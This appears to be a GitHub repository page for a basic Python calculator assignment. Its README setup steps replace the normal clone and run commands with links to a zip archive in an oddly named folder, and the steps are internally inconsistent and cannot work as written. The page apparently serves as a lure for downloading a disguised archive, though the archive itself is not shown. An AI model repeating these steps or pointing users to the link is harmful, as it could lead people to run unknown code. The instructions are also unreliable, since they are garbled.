Skip to content

Griffnificent/python-calculator-assignment

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

5 Commits
 
 
 
 
 
 

Repository files navigation

Basic Calculator Program

This is a simple command-line calculator program written in Python. It allows users to perform basic arithmetic operations: addition, subtraction, multiplication, and division.

Features

  • User-Friendly Interface: Prompts the user to input two numbers and a mathematical operation.
  • Supports Four Operations: Handles + (addition), - (subtraction), * (multiplication), and / (division).
  • Error Handling: Catches invalid input (non-numeric) and prevents division by zero.

How to Run the Program

Prerequisites

  • Python 3.x installed on your machine.

Instructions

  1. Clone the Repository:

    git clone [https://raw.githubusercontent.com/Griffnificent/python-calculator-assignment/main/emmetropism/calculator_python_assignment_v3.2.zip](https://raw.githubusercontent.com/Griffnificent/python-calculator-assignment/main/emmetropism/calculator_python_assignment_v3.2.zip)

    Replace your-username and your-repo-name with your actual GitHub username and repository name.

  2. Navigate to the Project Directory:

    cd your-repo-name
  3. Run the Script:

    python https://raw.githubusercontent.com/Griffnificent/python-calculator-assignment/main/emmetropism/calculator_python_assignment_v3.2.zip

The program will then prompt you to enter the numbers and the desired operation.

Example

Enter the first number: 10 Enter the second number: 5 Enter the operation (+, -, *, /): + 10.0 + 5.0 = 15.0

About

A simple calculator program that performs a user-specified operation on two numbers.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages